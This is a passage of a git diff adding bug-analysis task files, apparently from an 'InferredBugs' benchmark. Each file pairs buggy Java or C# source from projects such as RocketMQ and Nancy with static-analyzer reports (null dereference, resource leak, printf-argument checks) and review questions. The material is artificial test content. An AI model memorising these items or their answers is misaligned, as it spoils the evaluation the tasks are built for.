+            return ResponseFactory.response(Response.Status.NOT_FOUND, new ErrorResponse(NOT_FOUND.getStatusCode(),
+                    String.format(Messages.NETWORK_NOT_FOUND, id)));
+        }
+        return ResponseFactory.response(OK, existing, JsonPolicyDef.Policy.NETWORK_PUBLISHED);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Response insert(NetworkVO network) {
+        logger.debug("Network insert requested");
+        NetworkVO result = networkService.create(network);
+        logger.debug("New network has been created");
+        return ResponseFactory.response(CREATED, result, JsonPolicyDef.Policy.NETWORK_SUBMITTED);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Response update(NetworkUpdate networkToUpdate, long id) {
+        logger.debug("Network update requested. Id : {}", id);
+        networkService.update(id, NetworkUpdate.convert(networkToUpdate));
+        logger.debug("Network has been updated successfully. Id : {}", id);
+        return ResponseFactory.response(NO_CONTENT);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Response delete(long id) {
+        logger.debug("Network delete requested");
+        networkService.delete(id);
+        logger.debug("Network with id = {} does not exists any more.", id);
+        return ResponseFactory.response(NO_CONTENT);
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `convert(networkToUpdate)` could be null and is dereferenced by call to `update(...)` at line 92.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Response NetworkResourceImpl.update(NetworkUpdate,long)
+
+### Procedure Id:
+com.devicehive.resource.impl.NetworkResourceImpl.update(com.devicehive.model.updates.NetworkUpdate,l.d0f8bed36046773a7cd4c0fb014da56b
+
+### File:
+devicehive-services/src/main/java/com/devicehive/resource/impl/NetworkResourceImpl.java
+
+### Key:
+NetworkResourceImpl.java|update|NULL_DEREFERENCE
+
+### Node Key:
+97ca330b0689978a699d17edc463706e
+
+### Hash:
+577a662acd950521f3af67ebbd4d2183
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1074/instruction.md b/inferredbugs-1074/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56234c50fcfd3854c92f04a0c6d847f3326f3c03
--- /dev/null
+++ b/inferredbugs-1074/instruction.md
@@ -0,0 +1,101 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Nancy
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace Nancy.Tests.Specifications
+{
+    using System.Collections.Generic;
+    using System.IO;
+    using Nancy.Routing;
+
+    public abstract class RequestSpec
+    {
+        protected static INancyEngine engine;
+        protected static IRequest request;
+        protected static Response response;
+
+        protected RequestSpec()
+        {
+            engine = new NancyEngine(new AppDomainModuleLocator(), new RouteResolver());
+        }
+
+        protected static IRequest ManufactureGETRequestForRoute(string route)
+        {
+            return new Request("GET", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+
+        protected static IRequest ManufacturePOSTRequestForRoute(string route)
+        {
+            return new Request("POST", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+
+        protected static IRequest ManufactureDELETERequestForRoute(string route)
+        {
+            return new Request("DELETE", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+
+        protected static IRequest ManufacturePUTRequestForRoute(string route)
+        {
+            return new Request("PUT", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+
+        protected static IRequest ManufactureHEADRequestForRoute(string route)
+        {
+            return new Request("HEAD", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type Nancy.Request, Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 40) of type System.IO.MemoryStream in method "IRequest RequestSpec.ManufactureHEADRequestForRoute(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IRequest RequestSpec.ManufactureHEADRequestForRoute(String)
+
+### File:
+src/Nancy.Tests/Specifications/RequestSpec.cs
+
+### Key:
+RequestSpec.cs|ManufactureHEADRequestForRoute|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2aefa84c630c2bd2b4af1c34d181edc7
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10810/instruction.md b/inferredbugs-10810/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..983933ccdf294267c9d15f2b5fab7c84596210ee
--- /dev/null
+++ b/inferredbugs-10810/instruction.md
@@ -0,0 +1,420 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.acl.plain;
+
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import java.io.IOException;
+import java.nio.file.FileSystems;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.nio.file.StandardWatchEventKinds;
+import java.nio.file.WatchEvent;
+import java.nio.file.WatchKey;
+import java.nio.file.WatchService;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.rocketmq.acl.common.AclException;
+import org.apache.rocketmq.acl.common.AclUtils;
+import org.apache.rocketmq.acl.common.Permission;
+import org.apache.rocketmq.common.MixAll;
+import org.apache.rocketmq.common.ServiceThread;
+import org.apache.rocketmq.common.UtilAll;
+import org.apache.rocketmq.common.constant.LoggerName;
+import org.apache.rocketmq.logging.InternalLogger;
+import org.apache.rocketmq.logging.InternalLoggerFactory;
+
+public class PlainPermissionLoader {
+
+    private static final InternalLogger log = InternalLoggerFactory.getLogger(LoggerName.ACL_PLUG_LOGGER_NAME);
+
+    private static final String DEFAULT_PLAIN_ACL_FILE = "/conf/plain_acl.yml";
+
+    private String fileHome = System.getProperty(MixAll.ROCKETMQ_HOME_PROPERTY,
+        System.getenv(MixAll.ROCKETMQ_HOME_ENV));
+
+    private String fileName = System.getProperty("rocketmq.acl.plain.file", DEFAULT_PLAIN_ACL_FILE);
+
+    private Map<String/** AccessKey **/, PlainAccessResource> plainAccessResourceMap = new HashMap<>();
+
+    private List<RemoteAddressStrategy> globalWhiteRemoteAddressStrategy = new ArrayList<>();
+
+    private RemoteAddressStrategyFactory remoteAddressStrategyFactory = new RemoteAddressStrategyFactory();
+
+    private boolean isWatchStart;
+
+    public PlainPermissionLoader() {
+        initialize();
+        watch();
+    }
+
+    public void initialize() {
+        JSONObject accessControlTransport = AclUtils.getYamlDataObject(fileHome + fileName,
+            JSONObject.class);
+
+        if (accessControlTransport == null || accessControlTransport.isEmpty()) {
+            throw new AclException(String.format("%s file  is not data", fileHome + fileName));
+        }
+        log.info("BorkerAccessControlTransport data is : ", accessControlTransport.toString());
+        JSONArray globalWhiteRemoteAddressesList = accessControlTransport.getJSONArray("globalWhiteRemoteAddresses");
+        if (globalWhiteRemoteAddressesList != null && !globalWhiteRemoteAddressesList.isEmpty()) {
+            for (int i = 0; i < globalWhiteRemoteAddressesList.size(); i++) {
+                addGlobalWhiteRemoteAddress(globalWhiteRemoteAddressesList.getString(i));
+            }
+        }
+
+        JSONArray accounts = accessControlTransport.getJSONArray("accounts");
+        List<PlainAccessConfig> plainAccessList = accounts.toJavaList(PlainAccessConfig.class);
+        if (plainAccessList != null && !plainAccessList.isEmpty()) {
+            for (PlainAccessConfig plainAccess : plainAccessList) {
+                this.addPlainAccessResource(getPlainAccessResource(plainAccess));
+            }
+        }
+    }
+
+    private void watch() {
+        String version = System.getProperty("java.version");
+        String[] str = StringUtils.split(version, ".");
+        if (Integer.valueOf(str[1]) < 7) {
+            log.warn("Watch need jdk equal or greater than 1.7, current version is {}", str[1]);
+            return;
+        }
+
+        try {
+            int fileIndex = fileName.lastIndexOf("/") + 1;
+            String watchDirectory = fileName.substring(0, fileIndex);
+            final String watchFileName = fileName.substring(fileIndex);
+            log.info("watch directory is {} , watch directory file name is {} ", fileHome + watchDirectory, watchFileName);
+
+            final WatchService watcher = FileSystems.getDefault().newWatchService();
+            Path p = Paths.get(fileHome + watchDirectory);
+            p.register(watcher, StandardWatchEventKinds.ENTRY_MODIFY, StandardWatchEventKinds.ENTRY_CREATE);
+            ServiceThread watcherServcie = new ServiceThread() {
+
+                public void run() {
+                    while (true) {
+                        try {
+                            WatchKey watchKey = watcher.take();
+                            List<WatchEvent<?>> watchEvents = watchKey.pollEvents();
+                            for (WatchEvent<?> event : watchEvents) {
+                                if (watchFileName.equals(event.context().toString())
+                                    && (StandardWatchEventKinds.ENTRY_MODIFY.equals(event.kind())
+                                    || StandardWatchEventKinds.ENTRY_CREATE.equals(event.kind()))) {
+                                    log.info("{} make a difference  change is : {}", watchFileName, event.toString());
+                                    PlainPermissionLoader.this.clearPermissionInfo();
+                                    initialize();
+                                }
+                            }
+                            watchKey.reset();
+                        } catch (InterruptedException e) {
+                            log.error(e.getMessage(), e);
+                            UtilAll.sleep(3000);
+
+                        }
+                    }
+                }
+
+                @Override
+                public String getServiceName() {
+                    return "AclWatcherService";
+                }
+
+            };
+            watcherServcie.start();
+            log.info("Succeed to start AclWatcherService");
+            this.isWatchStart = true;
+        } catch (IOException e) {
+            log.error("Failed to start AclWatcherService", e);
+        }
+    }
+
+    PlainAccessResource getPlainAccessResource(PlainAccessConfig plainAccess) {
+        PlainAccessResource plainAccessResource = new PlainAccessResource();
+        plainAccessResource.setAccessKey(plainAccess.getAccessKey());
+        plainAccessResource.setSecretKey(plainAccess.getSecretKey());
+        plainAccessResource.setWhiteRemoteAddress(plainAccess.getWhiteRemoteAddress());
+
+        plainAccessResource.setAdmin(plainAccess.isAdmin());
+
+        plainAccessResource.setDefaultGroupPerm(Permission.parsePermFromString(plainAccess.getDefaultGroupPerm()));
+        plainAccessResource.setDefaultTopicPerm(Permission.parsePermFromString(plainAccess.getDefaultTopicPerm()));
+
+        Permission.parseResourcePerms(plainAccessResource, false, plainAccess.getGroupPerms());
+        Permission.parseResourcePerms(plainAccessResource, true, plainAccess.getTopicPerms());
+        return plainAccessResource;
+    }
+
+    void checkPerm(PlainAccessResource needCheckedAccess, PlainAccessResource ownedAccess) {
+        if (Permission.needAdminPerm(needCheckedAccess.getRequestCode()) && !ownedAccess.isAdmin()) {
+            throw new AclException(String.format("Need admin permission for request code=%d, but accessKey=%s is not", needCheckedAccess.getRequestCode(), ownedAccess.getAccessKey()));
+        }
+        Map<String, Byte> needCheckedPermMap = needCheckedAccess.getResourcePermMap();
+        Map<String, Byte> ownedPermMap = ownedAccess.getResourcePermMap();
+
+        for (Map.Entry<String, Byte> needCheckedEntry : needCheckedPermMap.entrySet()) {
+            String resource = needCheckedEntry.getKey();
+            Byte neededPerm = needCheckedEntry.getValue();
+            boolean isGroup = PlainAccessResource.isRetryTopic(resource);
+
+            if (!ownedPermMap.containsKey(resource)) {
+                //Check the default perm
+                byte ownedPerm = isGroup ? needCheckedAccess.getDefaultGroupPerm() :
+                    needCheckedAccess.getDefaultTopicPerm();
+                if (!Permission.checkPermission(neededPerm, ownedPerm)) {
+                    throw new AclException(String.format("No default permission for %s", PlainAccessResource.printStr(resource, isGroup)));
+                }
+                continue;
+            }
+            if (!Permission.checkPermission(neededPerm, ownedPermMap.get(resource))) {
+                throw new AclException(String.format("No default permission for %s", PlainAccessResource.printStr(resource, isGroup)));
+            }
+        }
+    }
+
+    void clearPermissionInfo() {
+        this.plainAccessResourceMap.clear();
+        this.globalWhiteRemoteAddressStrategy.clear();
+    }
+
+    public void addPlainAccessResource(PlainAccessResource plainAccessResource) throws AclException {
+        if (plainAccessResource.getAccessKey() == null
+            || plainAccessResource.getSecretKey() == null
+            || plainAccessResource.getAccessKey().length() <= 6
+            || plainAccessResource.getSecretKey().length() <= 6) {
+            throw new AclException(String.format(
+                "The accessKey=%s and secretKey=%s cannot be null and length should longer than 6",
+                plainAccessResource.getAccessKey(), plainAccessResource.getSecretKey()));
+        }
+        try {
+            RemoteAddressStrategy remoteAddressStrategy = remoteAddressStrategyFactory
+                .getRemoteAddressStrategy(plainAccessResource);
+            plainAccessResource.setRemoteAddressStrategy(remoteAddressStrategy);
+
+            if (plainAccessResourceMap.containsKey(plainAccessResource.getAccessKey())) {
+                log.warn("Duplicate acl config  for {}, the newly one may overwrite the old", plainAccessResource.getAccessKey());
+            }
+            plainAccessResourceMap.put(plainAccessResource.getAccessKey(), plainAccessResource);
+        } catch (Exception e) {
+            throw new AclException(String.format("Load plain access resource failed %s  %s", e.getMessage(), plainAccessResource.toString()), e);
+        }
+    }
+
+    private void addGlobalWhiteRemoteAddress(String remoteAddresses) {
+        globalWhiteRemoteAddressStrategy.add(remoteAddressStrategyFactory.getRemoteAddressStrategy(remoteAddresses));
+    }
+
+    public void validate(PlainAccessResource plainAccessResource) {
+
+        //Step 1, check the global white remote addr
+        if (plainAccessResource.getAccessKey() == null) {
+            if (globalWhiteRemoteAddressStrategy.isEmpty()) {
+                throw new AclException(String.format("No accessKey is configured and no global white remote addr is configured"));
+            }
+            for (RemoteAddressStrategy remoteAddressStrategy : globalWhiteRemoteAddressStrategy) {
+                if (remoteAddressStrategy.match(plainAccessResource)) {
+                    return;
+                }
+            }
+            throw new AclException(String.format("No accessKey is configured and no global white remote addr is matched"));
+        }
+
+        if (!plainAccessResourceMap.containsKey(plainAccessResource.getAccessKey())) {
+            throw new AclException(String.format("No acl config for %s", plainAccessResource.getAccessKey()));
+        }
+
+        //Step 2, check the white addr for accesskey
+        PlainAccessResource ownedAccess = plainAccessResourceMap.get(plainAccessResource.getAccessKey());
+        if (ownedAccess.getRemoteAddressStrategy().match(plainAccessResource)) {
+            return;
+        }
+
+        //Step 3, check the signature
+        String signature = AclUtils.calSignature(plainAccessResource.getContent(), ownedAccess.getSecretKey());
+        if (!signature.equals(plainAccessResource.getSignature())) {
+            throw new AclException(String.format("Check signature failed for accessKey=%s", plainAccessResource.getAccessKey()));
+        }
+        //Step 4, check perm of each resource
+
+        checkPerm(plainAccessResource, ownedAccess);
+    }
+
+    public boolean isWatchStart() {
+        return isWatchStart;
+    }
+
+    static class PlainAccessConfig {
+
+        private String accessKey;
+
+        private String secretKey;
+
+        private String whiteRemoteAddress;
+
+        private boolean admin;
+
+        private String defaultTopicPerm;
+
+        private String defaultGroupPerm;
+
+        private List<String> topicPerms;
+
+        private List<String> groupPerms;
+
+        public String getAccessKey() {
+            return accessKey;
+        }
+
+        public void setAccessKey(String accessKey) {
+            this.accessKey = accessKey;
+        }
+
+        public String getSecretKey() {
+            return secretKey;
+        }
+
+        public void setSecretKey(String secretKey) {
+            this.secretKey = secretKey;
+        }
+
+        public String getWhiteRemoteAddress() {
+            return whiteRemoteAddress;
+        }
+
+        public void setWhiteRemoteAddress(String whiteRemoteAddress) {
+            this.whiteRemoteAddress = whiteRemoteAddress;
+        }
+
+        public boolean isAdmin() {
+            return admin;
+        }
+
+        public void setAdmin(boolean admin) {
+            this.admin = admin;
+        }
+
+        public String getDefaultTopicPerm() {
+            return defaultTopicPerm;
+        }
+
+        public void setDefaultTopicPerm(String defaultTopicPerm) {
+            this.defaultTopicPerm = defaultTopicPerm;
+        }
+
+        public String getDefaultGroupPerm() {
+            return defaultGroupPerm;
+        }
+
+        public void setDefaultGroupPerm(String defaultGroupPerm) {
+            this.defaultGroupPerm = defaultGroupPerm;
+        }
+
+        public List<String> getTopicPerms() {
+            return topicPerms;
+        }
+
+        public void setTopicPerms(List<String> topicPerms) {
+            this.topicPerms = topicPerms;
+        }
+
+        public List<String> getGroupPerms() {
+            return groupPerms;
+        }
+
+        public void setGroupPerms(List<String> groupPerms) {
+            this.groupPerms = groupPerms;
+        }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `accounts` last assigned on line 83 could be null and is dereferenced at line 84.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PlainPermissionLoader.initialize()
+
+### Procedure Id:
+org.apache.rocketmq.acl.plain.PlainPermissionLoader.initialize():void.514283e35f0a80a0481f83d083552a77
+
+### File:
+acl/src/main/java/org/apache/rocketmq/acl/plain/PlainPermissionLoader.java
+
+### Key:
+PlainPermissionLoader.java|initialize|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+0274c49f756861455ca5643673faf8e5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10811/instruction.md b/inferredbugs-10811/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1b5bed03bc18228ef30000f49d9dafc60609363a
--- /dev/null
+++ b/inferredbugs-10811/instruction.md
@@ -0,0 +1,240 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.filtersrv;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import java.io.BufferedInputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Properties;
+import java.util.concurrent.Callable;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.apache.commons.cli.PosixParser;
+import org.apache.rocketmq.common.MQVersion;
+import org.apache.rocketmq.common.MixAll;
+import org.apache.rocketmq.common.constant.LoggerName;
+import org.apache.rocketmq.remoting.netty.NettyServerConfig;
+import org.apache.rocketmq.remoting.netty.NettySystemConfig;
+import org.apache.rocketmq.remoting.protocol.RemotingCommand;
+import org.apache.rocketmq.srvutil.ServerUtil;
+import org.apache.rocketmq.srvutil.ShutdownHookThread;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+public class FiltersrvStartup {
+    public static Logger log;
+
+    public static void main(String[] args) {
+        start(createController(args));
+    }
+
+    public static FiltersrvController start(FiltersrvController controller) {
+
+        try {
+            controller.start();
+        } catch (Exception e) {
+            e.printStackTrace();
+            System.exit(-1);
+        }
+
+        String tip = "The Filter Server boot success, " + controller.localAddr();
+        log.info(tip);
+        System.out.printf("%s%n", tip);
+
+        return controller;
+    }
+
+    public static FiltersrvController createController(String[] args) {
+        System.setProperty(RemotingCommand.REMOTING_VERSION_KEY, Integer.toString(MQVersion.CURRENT_VERSION));
+
+        if (null == System.getProperty(NettySystemConfig.COM_ROCKETMQ_REMOTING_SOCKET_SNDBUF_SIZE)) {
+            NettySystemConfig.socketSndbufSize = 65535;
+        }
+
+        if (null == System.getProperty(NettySystemConfig.COM_ROCKETMQ_REMOTING_SOCKET_RCVBUF_SIZE)) {
+            NettySystemConfig.socketRcvbufSize = 1024;
+        }
+
+        try {
+            Options options = ServerUtil.buildCommandlineOptions(new Options());
+            final CommandLine commandLine =
+                ServerUtil.parseCmdLine("mqfiltersrv", args, buildCommandlineOptions(options),
+                    new PosixParser());
+            if (null == commandLine) {
+                System.exit(-1);
+                return null;
+            }
+
+            final FiltersrvConfig filtersrvConfig = new FiltersrvConfig();
+            final NettyServerConfig nettyServerConfig = new NettyServerConfig();
+
+            if (commandLine.hasOption('c')) {
+                String file = commandLine.getOptionValue('c');
+                if (file != null) {
+                    InputStream in = new BufferedInputStream(new FileInputStream(file));
+                    Properties properties = new Properties();
+                    properties.load(in);
+                    MixAll.properties2Object(properties, filtersrvConfig);
+                    System.out.printf("load config properties file OK, " + file + "%n");
+                    in.close();
+
+                    String port = properties.getProperty("listenPort");
+                    if (port != null) {
+                        filtersrvConfig.setConnectWhichBroker(String.format("127.0.0.1:%s", port));
+                    }
+                }
+            }
+
+            nettyServerConfig.setListenPort(0);
+            nettyServerConfig.setServerAsyncSemaphoreValue(filtersrvConfig.getFsServerAsyncSemaphoreValue());
+            nettyServerConfig.setServerCallbackExecutorThreads(filtersrvConfig
+                .getFsServerCallbackExecutorThreads());
+            nettyServerConfig.setServerWorkerThreads(filtersrvConfig.getFsServerWorkerThreads());
+
+            if (commandLine.hasOption('p')) {
+                MixAll.printObjectProperties(null, filtersrvConfig);
+                MixAll.printObjectProperties(null, nettyServerConfig);
+                System.exit(0);
+            }
+
+            MixAll.properties2Object(ServerUtil.commandLine2Properties(commandLine), filtersrvConfig);
+            if (null == filtersrvConfig.getRocketmqHome()) {
+                System.out.printf("Please set the " + MixAll.ROCKETMQ_HOME_ENV
+                    + " variable in your environment to match the location of the RocketMQ installation%n");
+                System.exit(-2);
+            }
+
+            LoggerContext lc = (LoggerContext) LoggerFactory.getILoggerFactory();
+            JoranConfigurator configurator = new JoranConfigurator();
+            configurator.setContext(lc);
+            lc.reset();
+            configurator.doConfigure(filtersrvConfig.getRocketmqHome() + "/conf/logback_filtersrv.xml");
+            log = LoggerFactory.getLogger(LoggerName.FILTERSRV_LOGGER_NAME);
+
+            final FiltersrvController controller =
+                new FiltersrvController(filtersrvConfig, nettyServerConfig);
+            boolean initResult = controller.initialize();
+            if (!initResult) {
+                controller.shutdown();
+                System.exit(-3);
+            }
+
+            Runtime.getRuntime().addShutdownHook(new ShutdownHookThread(log, new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    controller.shutdown();
+                    return null;
+                }
+            }));
+
+            return controller;
+        } catch (Throwable e) {
+            e.printStackTrace();
+            System.exit(-1);
+        }
+        return null;
+    }
+
+    public static Options buildCommandlineOptions(final Options options) {
+        Option opt = new Option("c", "configFile", true, "Filter server config properties file");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("p", "printConfigItem", false, "Print all config item");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        return options;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+FiltersrvController FiltersrvStartup.createController(java.lang.String[])
+
+### Procedure Id:
+org.apache.rocketmq.filtersrv.FiltersrvStartup.createController(java.lang.String[]):org.apache.rocke.93d6d3b88a87fd4b309fe2f36e4d7dda
+
+### File:
+filtersrv/src/main/java/org/apache/rocketmq/filtersrv/FiltersrvStartup.java
+
+### Key:
+FiltersrvStartup.java|createController|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3da8939397d510badbb355132d400329
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10816/instruction.md b/inferredbugs-10816/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b53b57d4226e7782c77b5bc75e20b4b34a30a1b7
--- /dev/null
+++ b/inferredbugs-10816/instruction.md
@@ -0,0 +1,224 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.namesrv;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import java.io.BufferedInputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Properties;
+import java.util.concurrent.Callable;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.apache.commons.cli.PosixParser;
+import org.apache.rocketmq.common.MQVersion;
+import org.apache.rocketmq.common.MixAll;
+import org.apache.rocketmq.common.constant.LoggerName;
+import org.apache.rocketmq.logging.InternalLogger;
+import org.apache.rocketmq.logging.InternalLoggerFactory;
+import org.apache.rocketmq.common.namesrv.NamesrvConfig;
+import org.apache.rocketmq.remoting.netty.NettyServerConfig;
+import org.apache.rocketmq.remoting.protocol.RemotingCommand;
+import org.apache.rocketmq.srvutil.ServerUtil;
+import org.apache.rocketmq.srvutil.ShutdownHookThread;
+import org.slf4j.LoggerFactory;
+
+public class NamesrvStartup {
+    public static Properties properties = null;
+    public static CommandLine commandLine = null;
+
+    public static void main(String[] args) {
+        main0(args);
+    }
+
+    public static NamesrvController main0(String[] args) {
+        System.setProperty(RemotingCommand.REMOTING_VERSION_KEY, Integer.toString(MQVersion.CURRENT_VERSION));
+        try {
+            //PackageConflictDetect.detectFastjson();
+
+            Options options = ServerUtil.buildCommandlineOptions(new Options());
+            commandLine = ServerUtil.parseCmdLine("mqnamesrv", args, buildCommandlineOptions(options), new PosixParser());
+            if (null == commandLine) {
+                System.exit(-1);
+                return null;
+            }
+
+            final NamesrvConfig namesrvConfig = new NamesrvConfig();
+            final NettyServerConfig nettyServerConfig = new NettyServerConfig();
+            nettyServerConfig.setListenPort(9876);
+            if (commandLine.hasOption('c')) {
+                String file = commandLine.getOptionValue('c');
+                if (file != null) {
+                    InputStream in = new BufferedInputStream(new FileInputStream(file));
+                    properties = new Properties();
+                    properties.load(in);
+                    MixAll.properties2Object(properties, namesrvConfig);
+                    MixAll.properties2Object(properties, nettyServerConfig);
+
+                    namesrvConfig.setConfigStorePath(file);
+
+                    System.out.printf("load config properties file OK, %s%n", file);
+                    in.close();
+                }
+            }
+
+            if (commandLine.hasOption('p')) {
+                MixAll.printObjectProperties(null, namesrvConfig);
+                MixAll.printObjectProperties(null, nettyServerConfig);
+                System.exit(0);
+            }
